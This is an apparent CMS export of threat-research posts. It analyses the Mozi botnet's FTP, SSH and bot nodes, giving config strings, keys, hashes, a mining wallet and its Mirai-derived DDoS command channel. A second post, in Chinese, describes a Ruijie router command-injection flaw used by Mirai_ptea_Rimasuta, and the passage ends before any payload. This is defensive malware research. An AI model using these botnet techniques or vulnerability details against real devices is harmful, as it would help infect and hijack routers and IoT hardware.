<p>The Mozi botnet's "DHT+Config" design has its convenience, but it also has a drawback that all Bot nodes have <code>inefficiency in synchronizing Config</code>, which indirectly leads to inefficiency in DDoS. To solve this problem, Mozi authors designed the tag [cnc], which corresponds to the new DDoS attack subtask.</p>
<p>The whole subtask reuses the code of Mirai, specifying C2 by the [cnc] keyword, and the Bot node waits for the command sent by C2 to perform DDos attack after establishing communication with C2 through Mirai protocol. After adding this subtask, when Mozi wants to carry out an attack, it no longer needs to obtain the attack target by synchronizing Config one at a time, but only needs to synchronize Config once to get the specified C2, which greatly improves the attack efficiency of Bot nodes, and the corresponding network structure is shown as follows.<br>
<img src="__GHOST_URL__/content/images/2021/08/newmozi_network.jpg" width="860px" /></p>
<p>The following is the code snippet to obtain C2:PORT.<br>
<img src="__GHOST_URL__/content/images/2021/08/newmozi_mirai.PNG" width="860px" /><br>
The following is the code snippet for sending online packets.<br>
<img src="__GHOST_URL__/content/images/2021/08/newmozi_initmsg.PNG" width="860px" /><br>
The following is the code snippet for sending heartbeats.<br>
<img src="__GHOST_URL__/content/images/2021/08/newmozi_heartbeat.PNG" width="860px" /><br>
The following is the supported attack vector, there are 12 methods, the number 11 is written twice, so in reality Mozi's Bot node only supports 11 attack methods.<br>
<img src="__GHOST_URL__/content/images/2021/08/newmozi_ddos.PNG" width="860px" /><br>
If you are familiar with Mirai, you will smile when you see the following screenshot. Because of the extensive use of Mirai code, this batch of Mozi samples are marked as Mirai by a large number of antivirus producers.<br>
<img src="__GHOST_URL__/content/images/2021/08/newmozi_vt.PNG" width="860px" /></p>
<h3 id="0x2extranetaddressacquisition">0x2: Extranet address acquisition</h3>
<p><code>http://ipinfo.io/ip</code> is called to get the internet address during the telnet &exploit procdures.<br>
<img src="__GHOST_URL__/content/images/2021/08/newmozi_ip.PNG" width="860px" /><br>
After adding this feature there will be no more cases where intranet ip is being used to spread the payload.<br>
<img src="__GHOST_URL__/content/images/2021/08/newmozi_error.PNG" width="860px" /></p>
<h3 id="0x3upnpportmapping">0x3: upnp port mapping</h3>
<p>When the infected device is accessing the network through NAT, the HTTP sample download service opened by Mozi_bot on the device through the listening port is not directly accessible by the external network. The new version of Mozi implements port mapping on the router through upnp's <code>AddPortMapping</code> to ensure normal access to the service.<br>
<img src="__GHOST_URL__/content/images/2021/08/newmozi_upnp.PNG" width="860px" /></p>
<h3 id="0x4summary">0x4: Summary</h3>
<p>We can see that these updates to Mozi bot are all about efficiency: efficiency of DDoS attacks, efficiency of spreading infections. The abandonment of Gafgyt's attack code in favor of the more efficient Mirai. the separation of control nodes through [cnc] subtasking, refactoring DDoS attack functionality, and achieving separation of control nodes from bot nodes greatly increases Mozi's network resilience. This separation means that the botnet's control function is decoupled from the actual bot functions, allowing Mozi's authors to not only conduct DDos attacks themselves, but also make it possible to lease the network to other groups.</p>
<h1 id="aremozibotsstillbeingupdated">Are Mozi bots still being updated?</h1>
<p>The Mozi botnet samples have stopped updating for quite some time, but this does not mean that the threat posed by Mozi has ended. Since the parts of the network that are already spread across the Internet have the ability to continue to be infected, new devices are infected every day. Overall we expect it to oscillate downward in size on a weekly basis but might keep alive for a long time, just like several other botnets that have been terminated by law enforcement agencies in the past.</p>
<!--kg-card-end: markdown--> | Background
It has been nearly 2 years since we (360NETLAB) first disclosed the Mozi botnet in December 2019, and in that time we have witnessed its development from a small-scale botnet to a giant that accounted for an extremely high percentage of IOT traffic at its peak.
Now that Mozi's authors have been taking custody by law enforcement agencies, in which we provided technical assistance throughout, we don't think it will continue to be updated for quite some time to come. But we know that Mozi uses a P2P network structure, and one of the "advantages" of a P2P network is that it is robust, so even if some of the nodes go down, the whole network will carry on, and the remaining nodes will still infect other vulnerable devices, that is why we can still see Mozi spreading.
Many security vendors have tracked and analyzed Mozi, but from our point of view, there are some omissions and even mistakes. So here is our provide some updates to complement the security community's analysis; and to conclude our ongoing focus on the Mozi botnet.
This article will answer the following questions.
1: Does Mozi have any functional nodes other than the Bot node?
2: Are there any new features in the Mozi Bot module?
3: Is the Mozi botnet still being updated?
What are the other functional nodes in the Mozi botnet besides the Bot?
As we all know, each node in the Mozi botnet is driven by a configuration file called Config issued by the Botnet Master to perform specific tasks. The following figure is a classic Config file, where the [ss] field describes the function of the node, in this case the Bot node, the main function is DDoS attacks.
What puzzled us was that, in addition to the Bot node's Config, the following forms of Config files were captured as well, indicating that there were also nodes named sk,ftp,sns,ssh in the Mozi botnet.
[ss]sk[/ss][hp]88888888[/hp][count]http://ia.51.la/go1?id
[ss]ftp[/ss][hp]88888888[/hp][count]http://ia.51.la/go1?id
[ss]sns[/ss][hp]88888888[/hp][count]http://ia.51.la/go1?id
[ss]ssh[/ss][hp]88888888[/hp]
So what exactly are they?
0x1: FTP node
On January 20, 2020, a Windows PE file named "photo.scr" (a9d4007c9419a6e8d55805b8f8f52de0) generated network traffic that matched our Mozi signature. At first we thought it was a false alarm, but after analyzing it, we determined that it was exactly the Mozi ftp node sample we had in mind. In order to distinguish the samples from the different functional nodes in the Mozi botnet, we started to use the Mozi_"ss value" internally, so this sample was named Mozi_ftp.
In short, Mozi_ftp is a pyinstaller-packaged mining trojan that spreads through FTP weak password, and it joins the Mozi P2P network and waits to execute the Config issued by Botnet Master. the wallet address is shown below:
47BD6QNfkWf8ZMQSdqp2tY1AdG8ofsEPf4mcDp1YB4AX32hUjoLjuDaNrYzXk7cQcoPBzAuQrmQTgNgpo6XPqSBLCnfsjaV
The module named back.jpg is responsible for joining the Mozi network as well as pulling the Config file, and its basic information is shown as follows.
Filename:back.jpg
MD5:4ae078dd5085e97d3605f20dc079412a
PE32 executable for MS Windows (DLL) (console) Intel 80386
Packer: upx
Some of the tags supported by Mozi_ftp Config can be clearly seen in the unpacked sample.
Like Mozi_bot, Mozi_ftp also has an encrypted raw Config file embedded, which is decrypted by XOR as follows
As with Mozi_bot, Mozi_ftp checks the signature of the Config with the following code snippet
The XOR key used, and the two public_keys are as follows.
xor key:4E 66 5A 8F 80 C8 AC 23 8D AC 47 06 D5 4F 6F 7E
------------------------------------------------------------------
xored publickey A
4C B3 8F 68 C1 26 70 EB 9D C1 68 4E D8 4B 7D 5F
69 5F 9D CA 8D E2 7D 63 FF AD 96 8D 18 8B 79 1B
38 31 9B 12 69 73 A9 2E B6 63 29 76 AC 2F 9E 94 A1
after decryption:
02 d5 d5 e7 41 ee dc c8 10 6d 2f 48 0d 04 12 21
27 39 c7 45 0d 2a d1 40 72 01 d1 8b cd c4 16 65
76 57 c1 9d e9 bb 05 0d 3b cf 6e 70 79 60 f1 ea ef
-------------------------------------------------------------------
xored publickey B
4C A6 FB CC F8 9B 12 1F 49 64 4D 2F 3C 17 D0 B8
E9 7D 24 24 F2 DD B1 47 E9 34 D2 C2 BF 07 AC 53
22 5F D8 92 FE ED 5F A3 C9 5B 6A 16 BE 84 40 77 88
after decryption:
02 c0 a1 43 78 53 be 3c c4 c8 0a 29 e9 58 bf c6
a7 1b 7e ab 72 15 1d 64 64 98 95 c4 6a 48 c3 2d
6c 39 82 1d 7e 25 f3 80 44 f7 2d 10 6b cb 2f 09 c6
Their values are the same as those used by Mozi_bot. According to the characteristics of the ECDSA384 elliptic algorithm, this means that Mozi_ftp and Mozi_bot use the same private key, and excluding the possibility of private key leakage, we can conclude that they are from the same author.
In back.jpg, we can see that Mozi_ftp's Config supports the following basic tags.
[hp]
[cpu]
[cpux]
[ss]
[ssx]
[nd]
In the script of ftpcrack.py, there is the following code snippet.
This shows that Mozi_ftp also implements the following 4 special tags of its own.
[mdf]
[mdr]
[mud]
[mrn]
0x2: SSH node
Mozi uses the 51la, public service platform for its own statistics, In September 2020, we were able to tape into Mozi's backend statistics, on which we see not only the statistics of the Mozi_bot node, but also a set of unseen reporting entries as shown below.
On August 18, 2021, security vendor QiAnxin and Sangfor issued threat reports describing a mining Trojan named WorkMiner was spreading through weak SSH password, and it has P2P network behavior. We took a look and were surprised to find that this is exactly the SSH node in the Mozi botnet, and it has direct link to the aforementioned 51la urls. Here we will call it Mozi_ssh.
The basic information of the sample we selected for analysis is shown below.
Filename:work64
MD5:429258270068966813aa77efd5834a94
ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, stripped
Packer:upx
In brief, Mozi_ssh is a mining trojan that spreads worm-like through SSH weak password, and became active around October 2020 (based on the sample's time on VT, which may not be accurate), with the wallet address shown below, which shows that Mozi_ssh and Mozi_ftp use the same wallet.
47BD6QNfkWf8ZMQSdqp2tY1AdG8ofsEPf4mcDp1YB4AX32hUjoLjuDaNrYzXk7cQcoPBzAuQrmQTgNgpo6XPqSBLCnfsjaV
Mozi_ssh is compiled from a mix of GO code and C code. The GO code is responsible for SSH-related propagation and the handling of Config, while the C code handles joining the Mozi P2P network and pulling Config.
Mozi_ssh is implemented by the following code snippet calling the C code (dht_task) to add to the P2P network.
The function dht_task handles the same logic as Mozi_bot, and the embedded Config is decrypted as shown below.
Like Mozi_ftp, the XOR key used to decrypt the Config, and the two public_keys used to check the signature of the Config are the same as the ones used in Mozi_bot, which means that Mozi_ssh and Mozi_bot come from the same author.
In the dht_task function, it can be seen that the Config of Mozi_ssh supports the following basic tags.
[hp]
[ver]
[cpu]
[ss]
[sv]
[nd]
For the Config that passes the test, Mozi_ssh uses to process it through the function main_deal_conf, for example, the following code snippet is processing the swan tag. Compared to Mozi_bot, Mozi_ssh supports not only basic tags, but also implements many of its own special tags.
The special tags supported by Mozi_ssh are shown below.
[slan]
[swan]
[spl]
[sdf]
[sud]
[ssh]
[srn]
[sdr]
[scount]
0x3: Summary
The discovery of Mozi_ftp, Mozi_ssh gives us clear evidence that the Mozi botnet is also trying to profit from mining. From the samples of bot, ftp, and ssh nodes, we can see that their authors have used the "DHT+Config" model as a basic module, and by reusing this module and designing different special tag commands for different functional nodes, they can quickly develop the programs needed for new functional nodes, which is very convenient. This convenience is one of the reasons for the rapid expansion of the Mozi botnet.
What are the changes in Mozi bot v2s?
The Mozi botnet was mostly made of mozi_bot nodes. On January 07, 2020, we captured the bot sample with a version number v2s (1bd4f62fdad18b0c140dce9ad750f6de), and this version has been active since then and has attracted a lot of attention from the security community, and although many security vendors have analyzed it, we found that there are still missing parts.
According to statistics, the samples of mozi v2s bot are mainly ARM and MIPS CPU architectures, and the samples of ARM architecture are selected below for analysis.
MD5:b9e122860983d035a21f6984a92bfb22
ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped
Lib: uclibc
Packer:UPX
The v2s bot sample has many changes from the v2 sample we initially analyzed, the most intuitive of which is reflected in the tags supported by Config. v2s has added two new tags [cnc], [hj], in addition to the new external network address acquisition, upnp port mapping and other features, the following section we will go over the changes brought by these features to Mozi_bot, note Microsoft published an article on the [hj] tag on August 19, 2021 here.
0x1: [cnc] tag
The Mozi botnet's "DHT+Config" design has its convenience, but it also has a drawback that all Bot nodes have inefficiency in synchronizing Config, which indirectly leads to inefficiency in DDoS. To solve this problem, Mozi authors designed the tag [cnc], which corresponds to the new DDoS attack subtask.
The whole subtask reuses the code of Mirai, specifying C2 by the [cnc] keyword, and the Bot node waits for the command sent by C2 to perform DDos attack after establishing communication with C2 through Mirai protocol. After adding this subtask, when Mozi wants to carry out an attack, it no longer needs to obtain the attack target by synchronizing Config one at a time, but only needs to synchronize Config once to get the specified C2, which greatly improves the attack efficiency of Bot nodes, and the corresponding network structure is shown as follows.
The following is the code snippet to obtain C2:PORT.
The following is the code snippet for sending online packets.
The following is the code snippet for sending heartbeats.
The following is the supported attack vector, there are 12 methods, the number 11 is written twice, so in reality Mozi's Bot node only supports 11 attack methods.
If you are familiar with Mirai, you will smile when you see the following screenshot. Because of the extensive use of Mirai code, this batch of Mozi samples are marked as Mirai by a large number of antivirus producers.
0x2: Extranet address acquisition
http://ipinfo.io/ip is called to get the internet address during the telnet &exploit procdures.
After adding this feature there will be no more cases where intranet ip is being used to spread the payload.
0x3: upnp port mapping
When the infected device is accessing the network through NAT, the HTTP sample download service opened by Mozi_bot on the device through the listening port is not directly accessible by the external network. The new version of Mozi implements port mapping on the router through upnp's AddPortMapping to ensure normal access to the service.
0x4: Summary
We can see that these updates to Mozi bot are all about efficiency: efficiency of DDoS attacks, efficiency of spreading infections. The abandonment of Gafgyt's attack code in favor of the more efficient Mirai. the separation of control nodes through [cnc] subtasking, refactoring DDoS attack functionality, and achieving separation of control nodes from bot nodes greatly increases Mozi's network resilience. This separation means that the botnet's control function is decoupled from the actual bot functions, allowing Mozi's authors to not only conduct DDos attacks themselves, but also make it possible to lease the network to other groups.
Are Mozi bots still being updated?
The Mozi botnet samples have stopped updating for quite some time, but this does not mean that the threat posed by Mozi has ended. Since the parts of the network that are already spread across the Internet have the ability to continue to be infected, new devices are infected every day. Overall we expect it to oscillate downward in size on a weekly basis but might keep alive for a long time, just like several other botnets that have been terminated by law enforcement agencies in the past.
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"# Background\nIt has been nearly 2 years since we (**360NETLAB**) first disclosed the [**Mozi botnet**](__GHOST_URL__/mozi-another-botnet-using-dht/) in December 2019, and in that time we have witnessed its development from a small-scale botnet to a giant that accounted for ```an extremely high percentage of IOT traffic at its peak```.\n\nNow that **Mozi's authors have been taking custody by law enforcement agencies**, in which we provided technical [assistance](https://mp.weixin.qq.com/s/Su0-uU5JaUrAh8ptTzTCsA) throughout, we don't think it will continue to be updated for quite some time to come. But we know that Mozi uses a P2P network structure, and one of the \"advantages\" of a P2P network is that it is robust, so even if some of the nodes go down, the whole network will carry on, and the remaining nodes will still infect other vulnerable devices, that is why we can still see Mozi spreading.\n\nMany security vendors have tracked and analyzed Mozi, but from our point of view, there are some omissions and even mistakes. So here is our provide some updates to complement the security community's analysis; and to conclude our ongoing focus on the Mozi botnet.\n\nThis article will answer the following questions.\n\n**1: Does Mozi have any functional nodes other than the Bot node?**\n\n**2: Are there any new features in the Mozi Bot module?**\n\n**3: Is the Mozi botnet still being updated?**\n\n# What are the other functional nodes in the Mozi botnet besides the Bot?\n\nAs we all know, each node in the Mozi botnet is driven by a configuration file called Config issued by the Botnet Master to perform specific tasks. The following figure is a classic Config file, where the ```[ss]``` field describes the function of the node, in this case the ```Bot node```, the main function is DDoS attacks.\n<img src=\"__GHOST_URL__/content/images/2021/08/newmozi_confbot.PNG\" width=\"860px\" />\nWhat puzzled us was that, in addition to the Bot node's Config, the following forms of Config files were captured as well, indicating that there were also nodes named **sk,ftp,sns,ssh** in the Mozi botnet.\n```\n[ss]sk[/ss][hp]88888888[/hp][count]http://ia.51.la/go1?id\n[ss]ftp[/ss][hp]88888888[/hp][count]http://ia.51.la/go1?id\n[ss]sns[/ss][hp]88888888[/hp][count]http://ia.51.la/go1?id\n[ss]ssh[/ss][hp]88888888[/hp]\n```\nSo what exactly are they?\n\n### 0x1: FTP node\nOn January 20, 2020, a Windows PE file named \"photo.scr\" (a9d4007c9419a6e8d55805b8f8f52de0) generated network traffic that matched our Mozi signature. At first we thought it was a false alarm, but after analyzing it, we determined that it was exactly **the Mozi ftp node sample we had in mind**. In order to distinguish the samples from the different functional nodes in the Mozi botnet, we started to use the ``Mozi_\"ss value\"`` internally, so this sample was named ``Mozi_ftp``.\n\nIn short, Mozi_ftp is a pyinstaller-packaged mining trojan that spreads through FTP weak password, and it joins the Mozi P2P network and waits to execute the Config issued by Botnet Master. the wallet address is shown below:\n```\n47BD6QNfkWf8ZMQSdqp2tY1AdG8ofsEPf4mcDp1YB4AX32hUjoLjuDaNrYzXk7cQcoPBzAuQrmQTgNgpo6XPqSBLCnfsjaV\n```\nThe module named **back.jpg** is responsible for joining the Mozi network as well as pulling the Config file, and its basic information is shown as follows.\n\n> Filename:back.jpg\n>\n> MD5:4ae078dd5085e97d3605f20dc079412a\n>\n> PE32 executable for MS Windows (DLL) (console) Intel 80386\n>\n> Packer: upx\n\nSome of the tags supported by Mozi_ftp Config can be clearly seen in the unpacked sample.\n\n<img src=\"__GHOST_URL__/content/images/2021/08/mozi_ftp.png\" width=\"860px\" />\nLike Mozi_bot, Mozi_ftp also has an encrypted raw Config file embedded, which is decrypted by XOR as follows\n<img src=\"__GHOST_URL__/content/images/2021/08/mozi_ftpconf.png\" width=\"860px\" />\nAs with Mozi_bot, Mozi_ftp checks the signature of the Config with the following code snippet\n<img src=\"__GHOST_URL__/content/images/2021/08/mozi_verify.png\" width=\"860px\" />\n\nThe XOR key used, and the two public_keys are as follows.\n```\n xor key:4E 66 5A 8F 80 C8 AC 23 8D AC 47 06 D5 4F 6F 7E\n------------------------------------------------------------------\nxored publickey A \n\t4C B3 8F 68 C1 26 70 EB 9D C1 68 4E D8 4B 7D 5F \n\t69 5F 9D CA 8D E2 7D 63 FF AD 96 8D 18 8B 79 1B \n\t38 31 9B 12 69 73 A9 2E B6 63 29 76 AC 2F 9E 94 A1\t\nafter decryption: \n\t02 d5 d5 e7 41 ee dc c8 10 6d 2f 48 0d 04 12 21 \n\t27 39 c7 45 0d 2a d1 40 72 01 d1 8b cd c4 16 65 \n\t76 57 c1 9d e9 bb 05 0d 3b cf 6e 70 79 60 f1 ea ef\n-------------------------------------------------------------------\nxored publickey B\n\t4C A6 FB CC F8 9B 12 1F 49 64 4D 2F 3C 17 D0 B8 \n\tE9 7D 24 24 F2 DD B1 47 E9 34 D2 C2 BF 07 AC 53 \n\t22 5F D8 92 FE ED 5F A3 C9 5B 6A 16 BE 84 40 77 88\nafter decryption:\n\t02 c0 a1 43 78 53 be 3c c4 c8 0a 29 e9 58 bf c6 \n\ta7 1b 7e ab 72 15 1d 64 64 98 95 c4 6a 48 c3 2d \n\t6c 39 82 1d 7e 25 f3 80 44 f7 2d 10 6b cb 2f 09 c6\n```\nTheir values are the same as those used by Mozi_bot. According to the characteristics of the ECDSA384 elliptic algorithm, this means that **Mozi_ftp and Mozi_bot use the same private key**, and excluding the possibility of private key leakage, we can conclude that **they are from the same author**.\n\nIn ``back.jpg``, we can see that Mozi_ftp's Config supports the following basic tags.\n```\n[hp]\n[cpu]\n[cpux]\n[ss]\n[ssx]\n[nd]\n```\nIn the script of ``ftpcrack.py``, there is the following code snippet. \n<img src=\"__GHOST_URL__/content/images/2021/08/mozi_ftp_py.png\" width=\"860px\" />\nThis shows that Mozi_ftp also implements the following 4 special tags of its own.\n```\n[mdf]\n[mdr]\n[mud]\n[mrn]\n```\n\n### 0x2: SSH node\nMozi uses the 51la, public service platform for its own statistics, In September 2020, we were able to tape into Mozi's backend statistics, on which we see not only the statistics of the Mozi_bot node, but also a set of unseen reporting entries as shown below.\n<img src=\"__GHOST_URL__/content/images/2021/08/newmozi_soso.PNG\" width=\"860px\" />\nOn August 18, 2021, security vendor **QiAnxin** and **Sangfor** issued threat reports describing a mining Trojan named **WorkMiner** was spreading through weak SSH password, and it has P2P network behavior. We took a look and were surprised to find that this is exactly the SSH node in the Mozi botnet, and it has direct link to the aforementioned 51la urls. Here we will call it ``Mozi_ssh``.\n\nThe basic information of the sample we selected for analysis is shown below.\n>\n>Filename:work64\n>MD5:429258270068966813aa77efd5834a94\n>ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, stripped\n>Packer:upx\n\nIn brief, Mozi_ssh is a mining trojan that spreads worm-like through SSH weak password, and became active around October 2020 (based on the sample's time on VT, which may not be accurate), with the wallet address shown below, which shows that Mozi_ssh and Mozi_ftp use the same wallet.\n```\n47BD6QNfkWf8ZMQSdqp2tY1AdG8ofsEPf4mcDp1YB4AX32hUjoLjuDaNrYzXk7cQcoPBzAuQrmQTgNgpo6XPqSBLCnfsjaV\n```\nMozi_ssh is compiled from a mix of GO code and C code. The GO code is responsible for SSH-related propagation and the handling of Config, while the C code handles joining the Mozi P2P network and pulling Config.\n<img src=\"__GHOST_URL__/content/images/2021/08/mozi_ssh.png\" width=\"860px\" />\nMozi_ssh is implemented by the following code snippet calling the C code (dht_task) to add to the P2P network.\n<img src=\"__GHOST_URL__/content/images/2021/08/mozi_sshgoc.png\" width=\"860px\" />\n\nThe function dht_task handles the same logic as Mozi_bot, and the embedded Config is decrypted as shown below.\n<img src=\"__GHOST_URL__/content/images/2021/08/mozi_sshconf.png\" width=\"860px\" />\nLike Mozi_ftp, the XOR key used to decrypt the Config, and the two public_keys used to check the signature of the Config are the same as the ones used in Mozi_bot, which means that **Mozi_ssh and Mozi_bot come from the same author**.\n\nIn the ``dht_task`` function, it can be seen that the Config of Mozi_ssh supports the following basic tags.\n```\n[hp]\n[ver]\n[cpu]\n[ss]\n[sv]\n[nd]\n```\nFor the Config that passes the test, Mozi_ssh uses to process it through the function main_deal_conf, for example, the following code snippet is processing the swan tag. Compared to Mozi_bot, Mozi_ssh supports not only basic tags, but also implements many of its own special tags.\n\nThe special tags supported by Mozi_ssh are shown below.\n```\n[slan]\n[swan]\n[spl]\n[sdf]\n[sud]\n[ssh]\n[srn]\n[sdr]\n[scount]\n```\n\n### 0x3: Summary\nThe discovery of Mozi_ftp, Mozi_ssh gives us clear evidence that the Mozi botnet is also trying to profit from mining. From the samples of ```bot, ftp, and ssh nodes```, we can see that their authors have used the \"DHT+Config\" model as a basic module, and by reusing this module and designing different special tag commands for different functional nodes, they can quickly develop the programs needed for new functional nodes, which is very convenient. This convenience is one of the reasons for the rapid expansion of the Mozi botnet.\n\n\n\n# What are the changes in Mozi bot v2s?\nThe Mozi botnet was mostly made of mozi_bot nodes. On January 07, 2020, we captured the bot sample with a version number v2s (1bd4f62fdad18b0c140dce9ad750f6de), and this version has been active since then and has attracted a lot of attention from the security community, and although many security vendors have analyzed it, we found that there are still missing parts.\n\nAccording to statistics, the samples of mozi v2s bot are mainly ARM and MIPS CPU architectures, and the samples of ARM architecture are selected below for analysis.\n\n> MD5:b9e122860983d035a21f6984a92bfb22\n>\n> ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped\n>\n> Lib: uclibc\n>\n> Packer:UPX\n\nThe v2s bot sample has many changes from the v2 sample we initially analyzed, the most intuitive of which is reflected in the tags supported by Config. v2s has added two new tags **[cnc], [hj]**, in addition to the new external network address acquisition, upnp port mapping and other features, the following section we will go over the changes brought by these features to Mozi_bot, note Microsoft published an article on the ``[hj]`` tag on August 19, 2021 [here](https://www.microsoft.com/security/blog/2021/08/19/how-to-proactively-defend-against-mozi-iot-botnet/).\n\n<img src=\"__GHOST_URL__/content/images/2021/08/newmozi_compare.PNG\" width=\"860px\" />\n\n### 0x1: [cnc] tag\n\nThe Mozi botnet's \"DHT+Config\" design has its convenience, but it also has a drawback that all Bot nodes have ```inefficiency in synchronizing Config```, which indirectly leads to inefficiency in DDoS. To solve this problem, Mozi authors designed the tag [cnc], which corresponds to the new DDoS attack subtask.\n\nThe whole subtask reuses the code of Mirai, specifying C2 by the [cnc] keyword, and the Bot node waits for the command sent by C2 to perform DDos attack after establishing communication with C2 through Mirai protocol. After adding this subtask, when Mozi wants to carry out an attack, it no longer needs to obtain the attack target by synchronizing Config one at a time, but only needs to synchronize Config once to get the specified C2, which greatly improves the attack efficiency of Bot nodes, and the corresponding network structure is shown as follows.\n<img src=\"__GHOST_URL__/content/images/2021/08/newmozi_network.jpg\" width=\"860px\" />\n\nThe following is the code snippet to obtain C2:PORT.\n<img src=\"__GHOST_URL__/content/images/2021/08/newmozi_mirai.PNG\" width=\"860px\" />\nThe following is the code snippet for sending online packets.\n<img src=\"__GHOST_URL__/content/images/2021/08/newmozi_initmsg.PNG\" width=\"860px\" />\nThe following is the code snippet for sending heartbeats.\n<img src=\"__GHOST_URL__/content/images/2021/08/newmozi_heartbeat.PNG\" width=\"860px\" />\nThe following is the supported attack vector, there are 12 methods, the number 11 is written twice, so in reality Mozi's Bot node only supports 11 attack methods.\n<img src=\"__GHOST_URL__/content/images/2021/08/newmozi_ddos.PNG\" width=\"860px\" />\nIf you are familiar with Mirai, you will smile when you see the following screenshot. Because of the extensive use of Mirai code, this batch of Mozi samples are marked as Mirai by a large number of antivirus producers.\n<img src=\"__GHOST_URL__/content/images/2021/08/newmozi_vt.PNG\" width=\"860px\" />\n### 0x2: Extranet address acquisition\n``http://ipinfo.io/ip`` is called to get the internet address during the telnet &exploit procdures. \n<img src=\"__GHOST_URL__/content/images/2021/08/newmozi_ip.PNG\" width=\"860px\" />\nAfter adding this feature there will be no more cases where intranet ip is being used to spread the payload.\n<img src=\"__GHOST_URL__/content/images/2021/08/newmozi_error.PNG\" width=\"860px\" />\n### 0x3: upnp port mapping\nWhen the infected device is accessing the network through NAT, the HTTP sample download service opened by Mozi_bot on the device through the listening port is not directly accessible by the external network. The new version of Mozi implements port mapping on the router through upnp's ``AddPortMapping`` to ensure normal access to the service.\n<img src=\"__GHOST_URL__/content/images/2021/08/newmozi_upnp.PNG\" width=\"860px\" />\n\n### 0x4: Summary\nWe can see that these updates to Mozi bot are all about efficiency: efficiency of DDoS attacks, efficiency of spreading infections. The abandonment of Gafgyt's attack code in favor of the more efficient Mirai. the separation of control nodes through [cnc] subtasking, refactoring DDoS attack functionality, and achieving separation of control nodes from bot nodes greatly increases Mozi's network resilience. This separation means that the botnet's control function is decoupled from the actual bot functions, allowing Mozi's authors to not only conduct DDos attacks themselves, but also make it possible to lease the network to other groups.\n\n# Are Mozi bots still being updated?\nThe Mozi botnet samples have stopped updating for quite some time, but this does not mean that the threat posed by Mozi has ended. Since the parts of the network that are already spread across the Internet have the ability to continue to be infected, new devices are infected every day. Overall we expect it to oscillate downward in size on a weekly basis but might keep alive for a long time, just like several other botnets that have been terminated by law enforcement agencies in the past.\n\n\n"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 612c57e33819e50007634c09 |
post | null | 2021-09-06T10:49:43.000Z | 63873b9a8b1c1e0007f52fdf | rimasuta-spread-with-ruijie-0day | 0 | 2021-09-29T13:59:47.000Z | public | published | null | 2021-09-28T04:20:32.000Z | Mirai_ptea_Rimasuta变种正在利用RUIJIE路由器在野0DAY漏洞传播 | <!--kg-card-begin: markdown--><h1 id="">版权</h1>
<p>版权声明：本文为Netlab原创，依据 CC BY-SA 4.0 许可证进行授权，转载请附上出处链接及本声明。</p>
<h1 id="">概述</h1>
<p>2021年7月我们向社区公布了一个通过KGUARD DVR未公开漏洞传播的僵尸网络<a href="__GHOST_URL__/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/">Mirai_ptea</a>，一开始我们认为这是一个生命短暂的僵尸网络，不久就会消失不见，因此只给了它一个通用的名字。但很显然我们小看了这个家族背后的团伙，事实上该家族一直非常活跃，最近又观察到该家族正在利用<a href="https://www.ruijienetworks.com/"><code>RUIJIE NBR700</code></a>系列路由器的在野0day漏洞传播。</p>
<p>比较有意思的是，该家族的作者曾经在某次更新的样本中加入了这么一段话吐槽我们的<strong>mirai_ptea</strong>命名：<br>
<code>-_- you guys didnt pick up on the name? really??? its ``RI-MA-SU-TA``. not MIRAI_PTEA this is dumb name.</code><br>
出于对作者的"尊重"，以及对该团伙实力的重新评估，我们决定将其命名为<strong>Mirai_ptea_Rimasuta</strong>。</p>
<p>不同于大多数Mirai/Gafgyt僵尸网络惯用的telnet弱口令传播，Mirai_ptea_Rimasuta偏爱0day，短短的时间内就发现使用2个漏洞来传播，这说明其背后的团伙有比较强的漏洞发现&整合能力。Mirai_ptea_Rimasuta目前样本在不停的迭代开发中，处于非常活跃的状态，此次活动Rimasuta已经开始对抗沙箱的自动化运行，并将网络流量加密以对抗网络层面的检测，这说明其背后的团伙有比较强的编码创新能力。</p>
<p>从团伙画像的角度来看，Mirai_ptea_Rimasuta的作者性格跳脱，喜欢在样本中留下“彩蛋”和安全研究人员进行互动，或许我们和他之间的“战争”将持续非常长时间。</p>
<h2 id="">时间线</h2>
<ul>
<li>2021-06-10 另一个mirai变种mirai_aurora首先利用此漏洞传播</li>
<li>2021-09-05 我们首次捕获到利用此漏洞传播的Mirai_ptea_Rimasuta样本，这之前Mirai_ptea_Rimasuta很可能利用这个漏洞在传播了</li>
<li>2021-09-06 我们向厂商通报了漏洞情况</li>
<li>2021-09-09 厂家确认漏洞存在，并告知已经<a href="https://www.ruijie.com.cn/fw/xw/86338/">停止维护</a>这个版本的设备，厂家认为可以通过修改默认密码缓解，所以不打算提供新的补丁修复漏洞。</li>
</ul>
<h1 id="">漏洞利用分析</h1>
<h3 id="">漏洞类型</h3>
<p>需授权命令注入漏洞</p>
<h3 id="">漏洞细节</h3>
<p>为避免漏洞滥用，我们不公开全部细节。本节说明仅包括部分漏洞利用过程。RUJIE路由器设备上存在一个名为<code>wget_test.asp</code>测试的接口，该接口接受从页面传入的URL进行wget测试(测试功能最终通过一个名为<code>wget_test.sh</code>的脚本实现)，但没有对传入参数进行特殊字符检查，导致命令注入。注意：该接口需要登录认证。但因为RUIJIE路由器同时存在弱口令漏洞，所以攻击者可以将这2个漏洞结合起来发起攻击。根据我们调查，目前在线设备有不少依然存在这个问题。<br>
<img src="__GHOST_URL__/content/images/2021/09/ruijie.wget.cmd.ij.png" alt="ruijie.wget.cmd.ij" loading="lazy"><br>
其中<code>wget_test.sh</code>的内容如下：</p>
<pre><code>#!/bin/sh
while [ 1 ]
do
wget -O /dev/null $1;
sleep 1;
done
</code></pre>
<h3 id="">已知受影响设备版本</h3>
<pre><code>NBR1600GDX9 Release(180516)
RGNBR700GDX5 Release(180202)
RGNBR700GDX5 Release(180314)
RGNBR700GDX9 Release(180720)
RGNBR700GWDX5 Release(180314)
RGNBR700GWDX9 Release(180613)
RGNBR700GWDX9 Release(180720)
RGNBR700GWDX9 Release(191023)
RGNBR900GA1C2 Release(170809)
</code></pre>
<h3 id="payload">在野漏洞利用payload分析</h3>
<p>部分漏洞利用Payload如下:<br>
